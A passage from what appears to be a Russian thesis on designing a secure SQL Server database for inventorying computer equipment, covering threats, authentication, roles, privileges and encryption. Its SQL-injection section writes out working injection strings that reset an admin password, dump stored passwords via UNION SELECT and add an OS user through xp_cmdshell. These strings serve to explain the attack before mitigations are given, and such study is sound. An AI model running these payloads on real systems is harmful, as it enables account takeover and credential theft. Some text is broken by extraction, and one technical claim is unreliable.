·              наличие совокупности тесно взаимодействующих компонентов (подсистем), имеющих свои локальные задачи и цели функционирования (например, традиционных приложений, связанных с обработкой транзакций и решением регламентных задач, и приложений аналитической обработки (поддержки принятия решений), использующих нерегламентированные запросы к данным большого объема);

·              отсутствие прямых аналогов, ограничивающее возможность использования каких-либо типовых проектных решений и прикладных систем;

·              функционирование в неоднородной среде на нескольких аппаратных платформах;

·              разобщенность и разнородность отдельных групп разработчиков по уровню квалификации и сложившиеся традиции использования тех или иных инструментальных средств;

·              существенная временная протяженность проекта, обусловленная, с одной стороны, ограниченными возможностями коллектива разработчиков организации-заказчика к внедрению ИС.

Разработка таких крупных, многоцелевых, дорогостоящих баз данных невозможна без их тщательного проектирования: слишком велико влияние этого основополагающего шага на последующие этапы жизненного цикла информационной системы. Есть много примеров нежизнеспособных информационных систем, когда слишком много инвестиций выброшено на ветер в результате реализаций бездарных проектов.

При проектировании информационной системы необходимо провести анализ целей этой системы и выявить требования к ней отдельных пользователей. Основная цель преследуемая при проектировании любой, в том числе из защищенной, базы данных - это сокращение избыточности хранимых данных, а следовательно, экономия объема используемой памяти, уменьшение затрат на многократные операции обновления избыточных копий и устранение возможности возникновения противоречий из-за хранения в разных местах сведений об одном и том же объекте.

При проектировании базы данных выделяется три этапа: инфологический, логический и физический. При этом на каждом из этапов должен быть решен свой круг задач. Первый этап решает задачи получения семантических моделей, отражающих информационное содержание базы данных, исходя из информативных потребностей пользователей. Второй - задачу эффективной организации данных, выделенных на первом этапе, в форму принятую в выбранной системе управления базой данных. И, наконец, на третьем, завершающем этапе, необходимо решить задачу выбора рациональной структуры хранения данных и методов доступа к ним[38, с.9].

Основная цель логического проектирования базы данных - сокращение избыточности хранимых данных и устранение возможных потенциальных аномалий работы с базами данных. При этом необходимо решить проблемы избыточности, аномалии модификации и удаления вследствие избыточности и аномалии включения. Логическая структура базы данных является отображением информационно-логической модели данных предметной области в модель, поддерживаемую СУБД. Соответственно, концептуальная модель определяется в терминах модели данных выбранной СУБД. Логическая структура БД может передавать не только связи между соответствующими сущностями в предметной области, но и связей возникших в процессе обработки информации в БД, что может являться препятствием для проектирования.

Физическая структура базы данных описывает особенности хранения данных на устройствах внешней памяти, например, распределение данных по файлам, необходимые индексные структуры для ускорения поиска. Файлы базы данных предоставляют действительную физическую память для информации базы данных [39, с.148].

Предметная область.

Под данными понимается конкретное устройство ВТ и его характеристики. Для учета средств ВТ необходимо знать прежде всего единицу ВТ, которая в последствии будет подлежать учету. Единицей ВТ может быть: монитор, системный блок, клавиатура, принтер, сканер, копир и т.д.. В свою очередь системный блок может включать в себя материнскую плату, оперативную память, CD-ROM, DVD-ROM, ZIP, и т.д. Каждая из перечисленных единиц ВТ имеет уникальные атрибуты-характеристики, определяемые спецификой техники. Помимо единицы ВТ, в проекте должно быть использовано такое понятие как АРМ (автоматизированное рабочее место), к которому должно быть прикреплено СВТ (средство ВТ), если устройство находится в обращении. Устройство имеет свою модель, тип, характеристику и значение этой характеристики.

Рассмотрим на примере. Допустим, на крупном предприятие было принято решение о подключении одного из его подразделений к ЛВС. Прежде чем заниматься прокладкой кабелей, настройкой сети, и непосредственным подключением, нужно произвести учет СВТ. Так как часть оборудования пришлось модернизировать, часть оставить для использования, а часть списать, то это все необходимо отобразить в учете. 25 мая 2005 было закуплено 25 принтеров Color HP Laser Jet 2600n(A4,8 с/мин,ч/б/цв, USB,лоток на 250 листов, встроенный сервер печати Fast Ethernet, Win 2000/XP,Server 2003, до 35000 стр/мес. ). В этом случае: тип оборудования - принтеров, модель-Color HP Laser Jet 2600n, характеристики и значения - формат(A4), скорость(8 с/мин), печать(ч/б/цв), разъем(USB), ОС(Win 2000/XP,Server 2003), дополнительная информация (все остальное).

В разработанной базе данных предполагается, что о совместимости типов, моделей и их характеристик должен позаботиться тот, кто этим занимается (например, сопровождающий или администратор базы данных). С помощью базы данных он может получить информацию о том, с каким типом устройства совместимо та или иная модель и характеристика, а случае необходимости добавить параметр. Для исключения ошибочного удаления СВТ создан такой параметр, как фиксированный идентификатор, если мы зафиксировали определенную, то просто до выполнения удаления ее это не произойдет, так как ранее СВТ выбрана как не удаляемая (зафиксированная). В случае если СВТ перешла в пользование от одного ответственного лица другому, это вместо удаления у одного и причислению к другому, это можно осуществить при помощи возможности перемещения СВТ. Также должно быть предусмотрена компоновка как АРМа, так и системного блока как с использованием актов модернизации, так и без них. Для отслеживания истории необходимо выполнить журналы для сохранения информации по перемещению, изменению атрибутов и укомплектованности АРМов, модернизации системных блоков и актов списания.

Анализ описанной предметной области и решаемых задач позволяет выделить сущности: устройство, модель устройства, тип устройства, характеристики типов устройств ВТ, фирма-производитель, фирма-поставщик, тип оборудования, шифр оборудование, списание, комплектующие системного блока, модернизация системных блоков по актам, АРМ, домен, шифр подразделений, изменение атрибутов АРМов, перемещение ВТ между АРМами.

Выделим необходимую информацию об объектах ВТ. Для учета средств ВТ, организации поиска по требуемым критериям и организации статистики в базе должны храниться необходимые для этого сведения. На анализе сведений укомплектованности АРМ и необходимых средств ВТ, находящихся в использовании выведены характеристики (таблица 1).

Таблица 3.1 - Характеристики средств ВТ

Таким образом, сгруппирована информация как для материального и инвентарного учета, ремонтно-эксплуатационных технических служб, административная информация, так и справочные данные по основным техническим характеристикам средств ВТ. Для успешной работы с многотабличными базами данных обычно требуется установить между ними связи. При установке связей обычно пользуются терминами базовая таблица и подчиненная таблица. Связь создается парой полей, одно из которых находится в базовой таблице, а другое в подчиненной.

Структура базы данных: состав таблиц, которые будут входить в состав базы данных, состав структуры таблиц (из каких полей, какого типа и размера будет состоять каждая таблица), выбор первичных (главных) ключей каждой таблицы и т. д. На этом этап проектирования закончен, после него следует составление структуры базы данных с помощью выбранной СУБД, а завершением будет ввод данных в уже созданную базу данных. Диаграмма, разработанная с помощью MS SQL Server представлена в приложении А. При создании защищенной базы данных необходимо опираться на список угроз, специфичных как в целом для систем, так и для конкретной базы данных.

.2 Угрозы, специфичные для баз данных

Главный источник угроз, специфичных для СУБД, лежит в самой природе баз данных. Основным средством взаимодействия с СУБД является язык SQL - мощный непроцедурный инструмент определения и манипулирования данными. Хранимые процедуры добавляют к этому репертуару управляющие конструкции. Механизм правил дает возможность выстраивать сложные, трудные для анализа цепочки действий, позволяя попутно неявным образом передавать право на выполнение процедур, даже не имея, строго говоря, полномочий на это. В результате потенциальный злоумышленник получает в свои руки мощный и удобный инструментарий, а все развитие СУБД направлено на то, чтобы сделать этот инструментарий еще мощнее и удобнее.

.2.1 Получение информации путем логических выводов

Нередко путем логического вывода можно извлечь из базы данных информацию, на получение которой стандартными средствами у пользователя не хватает привилегий.

Например, это выяснение набора первичных ключей таблицы при наличии только привилегии INSERT (без привилегии SELECT). Если набор возможных значений ключей примерно известен, можно пытаться вставлять новые строки с "интересными" ключами и анализировать коды завершения SQL-операторов. Сам факт присутствия определенного ключа в таблице может быть весьма информативным[21].

Если для реализации контроля доступа используются представления, и эти представления допускают модификацию, с помощью операций модификации/вставки можно получить информацию о содержимом базовых таблиц, не располагая прямым доступом к ним.

Основным средством борьбы с подобными угрозами, помимо тщательно проектирования модели данных, является механизм размножения строк. Суть его в том, что в состав первичного ключа, явно или неявно, включается метка безопасности, за счет чего появляется возможность хранить в таблице несколько экземпляров строк с одинаковыми значениями ключевых полей.

Агрегирование - это метод получения новой информации путем комбинирования данных, добытых легальным образом из различных таблиц. Агрегированная информация может оказаться более секретной, чем каждый из компонентов, ее составивший[20].

В качестве примера можно рассмотреть базу данных средств вычислительной техники. Данные о каждом виде комплектующих необходимы технической службе, ценовая политика - экономическому отделу. Информация об отдельных частях сама по себе не является секретной (смысла нет скрывать фирму, тип или количество маршрутизаторов). В то же время анализ всей базы позволяет узнать, каким образом организована сетевая структура предприятия и финансовая сторона вопроса, что считается коммерческой тайной. Повышение уровня секретности данных при агрегировании вполне естественно - это следствие закона перехода количества в качество. Бороться с агрегированием можно за счет тщательного проектирования модели данных и максимального ограничения доступа пользователей к информации.

3.2.3 Покушения на высокую готовность (доступность)

Если пользователю доступны все возможности SQL, он может довольно легко затруднить работу других пользователей (например, инициировать длительную транзакцию, захватывающую большое число таблиц). Современные многопотоковые серверы СУБД отражают лишь самые прямолинейные атаки, состоящие, например, в запуске в "часы пик" операции массовой загрузки данных. Настоятельно рекомендуется не предоставлять пользователям непосредственного SQL- доступа к базе данных, используя в качестве фильтров серверы приложений. Выбор подобной архитектуры разумен и по многим другим соображениям.

В качестве любопытной угрозы, специфичной для реляционных СУБД, стоит сказать о ссылочных ограничениях. Строго говоря, наложение такого ограничения препятствует удалению строк из таблицы, содержащей первичные ключи, хотя в современных версиях SQL можно запросить так называемое каскадное удаление. Впрочем, искажение прочих ограничений на таблицы и их столбцы по-прежнему остается опасным средством покушения на доступность данных.

.2.4 SQL-Injection

SQL-Injection - это принудительное внедрение вредоносных инструкций в SQL-запросы - методика, в которой взломщик создает или изменяет текущие SQL-запросы для работы со скрытыми данными, их изменения или даже выполнения опасных команд операционной системы на сервере базы данных. Атака выполняется на базе приложения, строящего SQL-запросы из пользовательского ввода и статических переменных. Подобные поддельные запросы могут обойти ограничения доступа, стандартную проверку авторизации.

Благодаря отсутствию проверки пользовательского ввода и соединением с базой данных под учетной записью суперпользователя (или любого другого пользователя, наделенного соответствующими привелегиями), взломщик может создать еще одного пользователя с правами суперпользователя.

Например, злоумышленник может ввести в конец приспособленной для ввода ячейки вместо положенного значения такую строку:

=1; --или ‘a’=’a’, то есть то, что не подлежит сомнению

UPDATE user SET Password=PASSWORD('crack') WHERE user='dbAdmin’; ALL TO dbAdmin;

Если это произойдет, скрипт предоставит взломщику доступ к базе с правами привилегированного пользователя.

Еще один вероятный способ получить пароли учетных записей в БД - атака страниц, предоставляющих поиск по базе. Взломщику нужно лишь проверить, используется ли в запросе передаваемая на сервер и необрабатываемая надлежащим образом переменная. Это может быть один из устанавливаемых на предыдущей странице фильтров, таких как WHERE, ORDER BY, используемых при построении запросов SELECT. В случае если используемая база данных поддерживает конструкцию UNION, взломщик может присоединить к оригинальному запросу еще один дополнительный, для извлечения пользовательских паролей.

Статическая часть запроса может комбинироваться с другим SQL-запросом, который откроет все пароли:

'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;--

Если этот запрос (использующий ' и --) присоединить к значению одной из переменных запрос заметно преобразится.

Команды UPDATE могут использоваться для атаки. Опять же, есть угроза разделения инструкции на несколько запросов, присоединения дополнительного запроса. Также взломщик может видоизменить выражение SET. В этом случае потенциальному взломщику необходимо обладать некоторой дополнительной информацией для успешного манипулирования запросами. Эту информацию можно получить, проанализировав используемые в форме имена переменных либо просто перебирая все наиболее распространенные варианты названия соответствующих полей (а их не так уж и много).

“UPDATE usertable SET pwd=” & pwd & ” WHERE uid=” & uid

Но злоумышленник может ввести значение ' or uid like'%admin%'; -- для переменной uid для изменения пароля администратора или просто присвоить переменной pwd значение "hehehe', admin='yes', trusted=100 " (с завершающими пробелами) для получения дополнительных привилегий. При выполнении запросы переплетаются:

“UPDATE usertable SET pwd=’ ‘ WHERE uid=’ ‘ or uid like '%admin%' “

“UPDATE usertable SET pwd=’ hehehe', admin='yes', trusted=100 WHERE”

Пожалуй, самая серьезная угроза, это когда на сервере баз данных могут выполняться команды операционной системы. Пусть есть строка:

"SELECT * FROM products WHERE id LIKE '%” & prod& “%'";

Если взломщик введет значение ' exec master..xp_cmdshell 'net user test testpass /ADD' -- для переменной prod, тогда запрос $query будет выглядеть так:

“SELECT * FROM products WHERE id LIKE '%a%master..xp_cmdshell 'net user test testpass /ADD'--"

MSSQL сервер выполняет SQL-команды в пакетном режиме, в том числе и операции по заведению локальных учетных записей базы данных. В случае если приложение работает с привилегиями администратора и сервис MSSQL запущен с необходимыми привилегиями, выполнив приведенные выше действия, взломщик получит доступ к серверу.

В большинстве случаев, взломщик должен обладать некоторой информацией о структуре базы данных. Но когда и как будет предпринята попытка взлома, в случае если это произойдет бза данных стала незащищенной. Следует не использовать программный продукт с открытыми исходными кодами или просто общедоступный пакет для работы с базой данных, взломщик легко сможет воспроизвести интересующие его участки кода. В случае если они плохо спроектированы, это может являться одной из угроз вашей безопасности.

Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Не следует доверять вводим данным, особенно если они поступают со стороны клиента, даже если это списки в форме, скрытые поля или “cоokie”. Приведенные примеры показывают, к каким последствиям могут привести подделанные запросы:

·     не открывать соединение с базой, используя учетную запись владельца или администратора;

·              использовать специально созданных пользователей с максимально ограниченными правами;

·              проверять введенные данные на соответствие ожидаемому типу;

·              не выводить никакой информации о базе, особенно о ее структуре;

·              использовать хранимые процедуры и заранее определенные курсоры для абстрагированной работы с данными, не предоставляя пользователям прямого доступа к данным и представлениям.

Помимо всего вышесказанного, можно журналировать запросы в либо скрипте либо на уровне базы данных. Очевидно, что журналирование не может предотвратить нанесение ущерба, но может помочь при трассировке взломанного приложения. Лог-файл полезен не сам по себе, а информацией, которая в нем содержится. Причем, в большинстве случаев полезно протоколировать все возможные детали.

.3 Обеспечение конфиденциальности данных

В любой многопользовательской компьютерной системе обеспечение безопасности является крайне важной задачей.

При отсутствии надлежащего управления безопасностью системы нарушители могут проникнуть в базу данных, просмотреть конфиденциальную информацию и внести несанкционированные изменения в хранимые данные. Конфиденциальность - это состояние защищенности системы от несанкционированного доступа к информации.

.3.1 Средства идентификации и аутентификации объектов базы данных

Технологии идентификации и аутентификации являются обязательным элементом защищенных систем. Он реализует первый (исходный) программно-технический рубеж защиты информации в компьютерных системах.

Идентификация позволяет субъекту (пользователю, процессу, действующему от имени определенного пользователя, или иному аппаратно-программному компоненту) назвать себя (сообщить свое имя). Посредством аутентификации вторая сторона убеждается, что субъект действительно тот, за кого он себя выдает. В качестве синонима слова "аутентификация" иногда используют словосочетание "проверка подлинности".

В общем плане для идентификации/аутентификации пользователей-субъектов в компьютерных системах могут использоваться их биометрические параметры (отпечатки пальцев, рисунок радужной оболочки глаз, голос, почерк и т. д.), либо специальные замково-ключевые устройства (смарт-карты, магнитные карты и т. п.). Однако при доступе непосредственно в базы данных, чаще всего используются парольные системы[15].

Парольные системы основаны на предъявлении пользователем в момент аутентификации специального секретного (известного только подлинному пользователю) слова или набора символов - пароля. Пароль вводится пользователем с клавиатуры, подвергается криптопреобразованию и сравнивается со своей зашифрованной соответствующим образом учетной копией в системе. При совпадении внешнего и внутреннего парольного аутентификатора осуществляется распознавание и подтверждение подлинности соответствующего субъекта.

Главное достоинство парольной аутентификации - простота и привычность. Парольные системы являются простыми, но при условии правильной организации подбора и использования паролей, в частности, безусловного сохранения пользователями своих паролей в тайне, достаточно надежным средством аутентификации, и, в силу данного обстоятельства, широко распространены.

Основной недостаток систем парольной аутентификации заключается в принципиальной оторванности, отделимости аутентификатора от субъекта-носителя. В результате пароль может быть получен тем или иным способом от законного пользователя или просто подобран, подсмотрен по набору на клавиатуре, перехвачен тем или иным способом в канале ввода в систему и предъявлен системе злоумышленником[9].

Поэтому в некоторых случаях парольные аутентификаторы могут усиливаться диалогово-вопросными системами или системами «коллективного вхождения». В диалогово-вопросных системах для каждого зарегистрированного пользователя создается некоторая база вопросов и ответов, которые в совокупности и в деталях могут быть известны только подлинному пользователю (например, сведения личного характера). В результате внутренний образ субъекта существенно расширяется и появляется возможность варьирования аутентификатора при каждом следующем входе пользователя в систему.

В системах коллективного вхождения парольную аутентификацию должны одновременно пройти сразу все зарегистрированные для работы в системе пользователи. Иначе говоря, поодиночке пользователи работать в системе не могут. Вероятность подбора, перехвата и т. д. злоумышленником (злоумышленниками) сразу всех паролей, как правило, существенно меньше, и, тем самым, надежность подобных систем аутентификации выше.

Аутентификации в распределенных информационных системах в принципе должны подвергаться и объекты (ресурсы, устройства), а также процессы (запросы, пакеты и т. д.). Аутентифицированный (подлинный) пользователь, обращаясь к объектам системы и порождая соответствующие процессы, должен, в свою очередь, убедиться в их подлинности, например, отправляя распечатать сформированный в базе данных конфиденциальный отчет на сетевой принтер, специально предназначенный для распечатки соответствующих конфиденциальных документов. Это так называемый принцип надежного пути и гарантированности архитектуры[9].Server поддерживает два режима аутентификации: режим безопасности NT и смешанный режим. Если выбрать режим NT и установить соответствие между процедурами пользовательской регистрации в NT и SQL Server, то пользователи, зарегистрировавшись в NT, могут установить соединение и с SQL Server. В этом режиме пользователи, не опознанные NT, не могут обращаться к SQL Server. В смешанном режиме пользователи, прошедшие регистрацию в NT, соединяются с NT и SQL Server так же, как и в режиме NT, а пользователи, не опознанные NT, могут предъявить имя и пароль для доступа к SQL Server. Альтернативный вариант - аутентификация в SQL Server зарегистрированных пользователей NT с указанием отдельного имени и пароля в SQL Server, а не Windows NT[24, c.132].

Исследовав специфику работы на предприятии, и проанализировав потребности, можно заключить, что использование SQL Server аутентификацию будет эффективнее, так как:

·           на предприятии за учетные записи домена и SQL Server отвечают разные специалисты, это дает возможность обойти администратора сети (например, при появлении нового пользователя), что существенно сократит время и снизит и без того напряженные отношения между администраторами сети и администратором баз данных, так как для первых главное и основное - обеспечение постоянного доступа к данным базы, для второго же на первом месте стоит целостность, защищенность (в том числе и конфиденциальность), сохранность и полноправное и полномочное использование ресурсов базы данных;

·              есть компьютеры, которыми пользуются несколько сотрудников, и дабы не создавать на каждой используемой ими машине новые учетные записи и переключаться между ними, используем SQL аутентификацию;

·              разработчик может сам создавать необходимые ему логины, необходимые для работы скрипта;

·              логины SQL Server будут работать и тогда, когда домен Windows NT/2000/2003 есть, и когда его нет.

.3.2 Ролевой доступ

Для использования приложения баз данных приходится назначать множество системных и объектных привилегий. Когда с приложением работает большое число пользователей, управление привилегиями может быстро превратиться в достаточно трудную задачу, так как нужно будет предоставлять привилегии каждому пользователю. Чтобы упростить процесс обеспечения безопасности системы, можно воспользоваться ролями. Роли баз данных - это специальные объекты, которые используются для упрощения предоставлений привилегий в базах данных. Ролевой доступ, в свою очередь, подразумевает под собой доступ к объектам базы данных в соответствии с разрешениями этих ролей.

Например, при создании нового приложения для работы с базой данных можно создать новую роль с привилегиями, необходимыми для выполнения именно этой программы. После того как пользователю приложения предоставляется эта роль, он может запускать приложение, соединяться с базой данных и выполнять свою работу. Если привилегии, необходимые для выполнения приложения, изменяются, то нужно только быстро модифицировать набор привилегий, заданных в роли. Все пользователи, которым предоставлена эта роль, автоматически отслеживают происшедшие изменения и продолжают работу с приложением, имея на то необходимые привилегии. Роли баз данных могут быть встроенными и пользовательскими. Встроенные обладают предопределенным набором разрешений, а пользовательские можно использовать для группировки пользователей при предоставлении разрешений. Встроенные удобны, когда нужно разрешить роли, необходимые пользователю во время работы, независимо от того, какое приложение он применяет.

Доступ к базе данных СВТ организован на основе ролей. Пользователи имеют разные задачи, разные приоритеты и возможности, поэтому и доступ и права на пользование базой данных для них будут различны. Поэтому в зависимости от решаемых задач и возможных уровней доступа пользователи будут иметь разные права. Пользователей выделим в группы, права доступа которых отличаются в зависимости от выполняемых функций (ролей) (рисунок 3.2). Пользователь может входить в несколько таких групп (выполнять несколько ролей). Выделим основные:

1.   администраторы задачи;

2.      системные администраторы;

.        сотрудники БТО;

.        руководители службы АСУП;

.        администратор базы данных;

.        программисты.

Рисунок 3.2 - Группы пользователей базы данных

Полный список ролей и их привилегий описан в приложении В.

Для базы данных можно создавать любое требуемое количество ролей. После создания роли нужно построить для нее набор привилегий, предоставив ей привилегии и другие роли. Затем надо предоставить эту роль пользователям, чтобы они имели привилегии, необходимые им для работы. Ниже приведен пример создания новой роли для типичного приложения по вводу заказов, а также предоставления роли ряду пользователей базы данных.

CREATE ROLE user1;SELECT, INSERT, UPDATE, DELETE ON devices TO user1;SELECT, INSERT, UPDATE, DELETE ON devicemodel TO user1;SELECT, INSERT, UPDATE, DELETE ON devicename TO user1;SELECT, UPDATE ON ARM user1.

Стоит тщательно избегать привилегий dbo (исключая задачи администратора БД) в промышленной базе данных, ни при определении её объектов средствами Data Definition Language (DDL), ни для внесения изменений, ни в каких запросах или хранимых процедурах.

Права, предоставляемые роли public, особенно в базе данных master, в последнее время очень часто использовались хакерами для проведения успешных атак на сервера баз данных.

По умолчанию, пользователи получают доступ к базе master через её роль public. Они могут видеть все объекты информационной схемы, которыми владеют, представления, большинство функций, выполнять хранимые процедуры и даже некоторые расширенные хранимые процедуры. В пользовательской базе данных, через эту роль будут видны практически все системные таблицы, кроме, разве что: sysfile1, sysfulltextnofity и sysproperties. Желательно, что бы в базе master не было никого из пользователей, кроме dbo (sa). Если же всё-таки потребуется пустить другого пользователя в эту базу данных, нужно ограничить ему доступ к критическим таблицам, которые могут использовать хакеры.

.3.3 Привилегии

Пользователи системы баз данных не могут соединяться с сервером баз данных или выполнять какие-либо существенные действия, если они не имеют привилегий (прав) на проведение определенных операций с базой. Например, пользователь базы данных не может:

• создавать таблицы в соответствующей схеме, не имея системной привилегии CREATE TABLE (создать таблицу)

• удалять строки из какой-либо таблицы другой схемы, не имея объектной привилегии DELETE (удалить) для этой таблицы

·              право на вставку новых данных - INSERT

·              явный запрет (DENY) на выполнение действия, определенного данным разрешением

Существуют два различных типа привилегий, управляющих доступом к базам данных: системные привилегии и объектные привилегии.

Системная привилегия - это мощная привилегия, которая предоставляет пользователю возможность выполнять системную операцию определенного вида. На первый взгляд может показаться, что огромным числом системных привилегий управлять крайне трудно. Однако каждая системная привилегия предоставляет право на выполнение только конкретной операции с базой данных, поэтому достаточно просто назначить каждому пользователю привилегии, необходимые ему для выполнения своих функций, - не больше и не меньше. Объектная привилегия предоставляет пользователю возможность выполнять операцию определенного вида с конкретным объектом базы данных, например с таблицей, с представлением или с хранимой процедурой.

Управляя какой-либо системой и привилегиями пользователей необходимо помнить, что:

• предоставить системную привилегию может лишь пользователь, имеющий системную привилегию с правами администратора на предоставление привилегий другим пользователям;

• предоставить привилегию на объект базы данных может лишь пользователь, владеющий этим объектом или имеющий объектную привилегию с правами администратора на предоставление привилегий другим пользователям.

.3.4 Языковые средства разграничения доступа

Дать пользователю системную или объектную привилегию можно с помощью SQL-команды GRANT (предоставить), а лишить привилегии можно с помощью SQL-команды REVOKE (отменить). Предоставлять и отменять привилегии пользователей могут только конкретные лица.

Фразы "наделение полномочиями" или "назначение разрешений" часто ассоциируются с обсуждением команд GRANT и REVOKE. В SQL пользователь не имеет права делать того, на что у него нет явно указанных прав.

Оператор GRANT применяется при присвоении привилегии, оператор REVOKE применяется для отмены привилегии. Команды GRANT и REVOKE указывают, каким пользователям можно выполнять определенные операции в отношении определенных таблиц, курсоров и столбцов. Операции, выполнение которых контролируется с помощью GRANT и REVOKE, включают SELECT, UPDATE, INSERT, DELETE.

В большинстве случаев право подачи команд GRAND и REVOKE по конкретному объекту автоматически имеют пользователи, создавшие данный объект, т.е. их владельцы. В других подходах этим правом наделяются доверенные субъекты, т.е. администраторы.

Хотя в явном виде такой подход не предусматривает создание матрицы доступа, тем не менее, реализуется классический принцип дискреционного разграничения доступа.

Дискреционный принцип обладает большой гибкостью по настройке системы разграничения доступа на особенности предметной области базы данных и потребности пользователей, но не обеспечивает эффективной управляемости и затрудняет проведение какой-либо целенаправленной политики безопасности в системе. Преодоление этого недостатка достигается двумя путями - использованием техники «представлений» и специальными расширениями языка SQL.

Использование техники представлений является распространенным технологическим приемом формирования для конкретного пользователя своего «видения» базы данных (виртуальной БД) и осуществления на этой основе разграничения доступа к данным в реляционных СУБД. «Представлением» называется глобальный авторизованный запрос на выборку данных, формирующий для пользователя «свое» представление определенного объекта (объектов), совокупность которых формирует некую виртуальную базу данных, со своей схемой (объектами) и данными (отобранными или специально преобразованными). При входе пользователя в систему в процессе его идентификации и аутентификации ядро безопасности отыскивает для пользователя соответствующие представления-запросы и передает запрос основному ядру СУБД для выполнения. В результате выполнения запроса пользователь «видит» и имеет доступ только к тем объектам, которые соответствуют его полномочиям и функциям[39, c.164].

Такой подход является более грубым по сравнению с применением инструкции GRANT непосредственно к объектам базы данных, т.к. не обеспечивает расщепления установок доступа к объектам на уровне отдельных операций (SELECT, INSERT, UPDAТЕ, DELETE).

Поэтому другим подходом являются специальные расширения языка SQL, основанные на событийно-процедурной идеологии с введением специальных правил (RULE) безопасности.

Введение правил безопасности обеспечивает более широкие и гибкие возможности реализации различных политик безопасности с большей степенью контроля и управляемости, но, как, впрочем, и техника представлений и непосредственное использование инструкций GRANT, не позволяет строить системы с мандатным принципом разграничения доступа, который считается более жестким и надежным.

Для решения этой задачи могут предлагаться более кардинальные расширения языка SQL с введением возможностей создания объектов базы данных с метками конфиденциальности. Следует, однако, заметить, что подобные примеры в коммерческих и сертифицированных по требованиям безопасности СУБД чрезвычайно редки.

В современных СУБД для реализации установок, правил и ограничений доступа разрабатывается и используется специальный диалогово-наглядный интерфейс, автоматически формирующий соответствующие конструкции языка SQL и позволяющий в большинстве случаев обходиться без непосредственного программирования.

3.3.5 Блокировки учетных сведений пользователей

Блокировка - временное ограничение, накладываемое системой на использование тех ил иных ресурсов. Блокировки используются для обеспечения изолированности транзакций друг от друга.

В СУБД Oracle и MS SQL Server можно управлять доступом к базам данных, блокируя и разблокируя в любое удобное время учетные сведения пользователей. Когда учетные сведения пользователя заблокированы, он не может соединиться с СУБД. Чтобы затем разрешить пользователю обращаться к базам данных посредством своих учетных сведений, необходимо их разблокировать[22, c.10]. Блокировки применяют:

• когда пользователь временно отсутствует на работе;

• когда служащий увольняется из компании, можно блокировать его учетные сведения вместо того, чтобы их удалять; особенно удобно, если в схеме этого пользователя содержатся объекты, которые требуется сохранить;

• когда учетные сведения выполняют роль схемы для логического хранения всех задействованных в приложении объектов баз данных;

·        когда появляется новый пользователь базы данных, можно просто разблокировать по умолчанию уже существующего.

В SQL Server предусмотрено пять основных видов блокировок[2,c.24]:

·        уровня базы данных (DB);

·              уровня объекта (например, TAB);

·              уровня экстента (EXT);

·              уровня страницы (PAG);

·              уровня записи/ключа (RID/KEY).

С помощью блокировок осуществляется мощный и надежный механизм управления данными.

.3.6 Шифрование

Если все-таки произошла кража базы данных или ее резервной копии, то наилучшим способом защиты здесь будет шифрование, причем, чем серьезнее и устойчивее будет алгоритм шифрования, тем, соответственно, лучше. В качестве алгоритма может быть применен алгоритм ГОСТ 28147-89.

В SQL Server шифрование используется в разных ситуациях.

1) шифрование данных, передаваемых между клиентом и сервером. Для этого используется технология SSL. Описано в главе 3.3.7.

) шифрование данных в таблицах баз данных.

В SQL Server версий ниже 2005 никаких встроенных средств для шифрования данных в базах данных не было (кроме специальных ситуаций, например, шифрование определений объектов или паролей пользователей SQL Server). В SQL Server 2005 такие возможности появились.

Для шифрования данных в SQL Server предусмотрено четыре способ[24, c.168]:

·          шифрование при помощи сертификатов. Сертификат при этом должен присутствовать в виде объекта в базе данных;

·              шифрование при помощи ассиметричных ключей. Алгоритм здесь такой же, как и при использовании сертификатов. От сертификата асимметричный ключ отличается тем, что в нем не предусмотрено дополнительных полей с информацией о том, кому он выдан, для каких целей, до какого времени действителен и т. п. Имеющиеся асимметричные ключи можно просмотреть в контейнере Asymmetric Keys, который находится там же, где и контейнер Certificates;

·          шифрование при помощи симметричных ключей. Используются намного более быстрые алгоритмы, по сравнению с асимметричными ключами. Сами симметричные ключи также создаются в виде объектов базы данных и могут быть защищены сертификатом, другим симметричным ключом, ассиметричным ключом или просто паролем. Просмотреть их можно при помощи контейнера Symmetric Keys;

·              простое шифрование при помощи паролей.

При этом совсем необязательно ограничиваться только встроенными средствами SQL Server 2005. Он также позволяет использовать в коде Transact-SQL вызовы к сборкам .NET. Поэтому для шифрования данных можно использовать классы из пространства имен System.Security.Cryptography в .NET Framework или свои собственные сборки.

Сам MS SQL предлагает использовать встроенные алгоритмы шифрования, но эту меру защиты целесообразнее использовать в случае если есть необходимость защитить данные от привилегированных пользователей.

Всё таки MS SQL - это серверная платформа. И защитить его можно только защитив среду выполнения от доступа с других машин. В том числе можно использовать EFS, потеряв при этом 5% производительности, но надежно (опять же сомнительно, т.к. есть недорогие утилиты для расшифровки зашифрованных дисковых ресурсов) защитит БД от копирования.

.3.7 Защита сетевого трафика

Большая проблема, связанная с безопасностью при работе с SQL Server, заключается в том, что данные запросов пользователей и ответов на них сервера возвращаются в абсолютно открытом виде формата пакета TDS (Tabular Data Stream - поток табличных данных) по протоколу http. Это говорит о том, что, перехватив пакеты в локальной сети, можно получить доступ к информации, которой обмениваются с SQL Server пользователи. Хотя пароли пользователей SQL Server изначально передаются в защищенном виде, но если пользователь решит поменять свой пароль командой ALTER USER или запуском процедуры sp_password, то такой пароль будет передан по сети открытым текстом. Стоит отметить также, что сейчас достаточно много открытых ресурсов, где можно найти программы, которые умеют собирать данные и парольные хэши SQL Server и расшифровывать их. Поэтому вопрос о надобности использования защиты сетевого трафика отпадает, но возникает новая задача - как именно это реализовать.

Желательно отключить через роль или изъять права на исполнение у public msdb следующие задачи преобразования данных:

1.  sp_add_dtspackage сохраняет TDS в sysdtspackages;

2.      sp_enum_dtspackages открывает TDS пакет;

.        sp_add_job добавляет новое задание;

.        sp_add_jobstep добавляет новый шаг для задания.

В соответствии с политикой безопасности предприятия для прикладных систем, обрабатывающих конфиденциальную информацию, возможно применение аутентификации с использованием цифровых сертификатов пользователей по защищенному протоколу, поэтому решением проблемы может быть использование:

·     прозрачных для приложений средств IPSec на основе Active Directory; безопасность протокола IP (IPSec) является моделью общих стандартов для обеспечения безопасных конфиденциальных подключений через IP-сети с помощью криптографических служб безопасности;

·              выделение критически важных пользователей вместе с SQL Server в отдельный сетевой сегмент, отгороженный от остальной сети маршрутизатором;

·              применение сервиса безопасности, реализуемая средствами Kerberos: аутентификация, авторизация и шифрование;

·              технология SSL.

Основные функции, предоставляемые сервисом безопасности Kerberos:

·    защита пересылаемых данных только при установлении соединения клиента с сервером;

·              защита данных только на начальном этапе выполнения удаленного вызова процедуры, когда сервер впервые получает запрос;

